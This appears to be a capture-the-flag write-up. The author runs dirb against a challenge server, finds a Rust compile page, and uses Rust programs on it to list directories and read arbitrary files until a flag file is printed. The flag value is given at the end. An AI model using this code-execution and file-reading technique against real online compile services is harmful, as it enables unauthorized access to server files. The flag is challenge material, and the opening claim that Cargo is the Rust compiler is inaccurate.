# Cargo is the name of Rust compiler. If we use dirb :

```
dirb http://34.159.200.127:30732/
```

# We get :

```
NERATED WORDS: 4612
---- Scanning URL: http://34.159.200.127:30732/ ----
http://34.159.200.127:30732/editor (CODE:200|SIZE:1385)
```

# If we go to http://34.159.200.127:30732/editor we can compile Rust. The idea is to search through folders and files to find the flag. For example :

1. You can list all the files in a pat

```
use std::fs;
fn main() {
  let paths = fs::read_dir("./").unwrap();
  for path in paths {
    println!("Name: {}", path.unwrap().path().display())
    }
  }
```

Output: 'Name: ./app.js Name: ./node_modules Name: ./editor.html Name: ./images Name: ./index.html Name: ./public Name: ./views Name: ./package-lock.json Name: ./rust_playground3992 Name: ./rust_playground_722277 ';

2. You can read a file with :

```
use std::fs::File;
use std::io::{self, Read};

fn main() -> io::Result<()> {
  let mut file = File::open("index.html")?;
  let mut contents = String::new();
  file.read_to_string(&mut contents)?;
  println!("File Contents:\n{}", contents);

  Ok(())
}
```

# After some research, you can get the flag with the following Rust code :

```
use std::fs::File;
use std::io::{self, Read};

fn main() -> io::Result<()> {
    let mut file = File::open("/flag39283761/flag2781263")?;
    let mut contents = String::new();
    file.read_to_string(&mut contents)?;
    println!("File Contents:\n{}", contents);

    Ok(())
}
```

THE FLAG :

CTF{c7d604ecd0da6804f45d958b4c5fb622488250bd05c29b99d0134f3bfdda2fc4}

~Z4que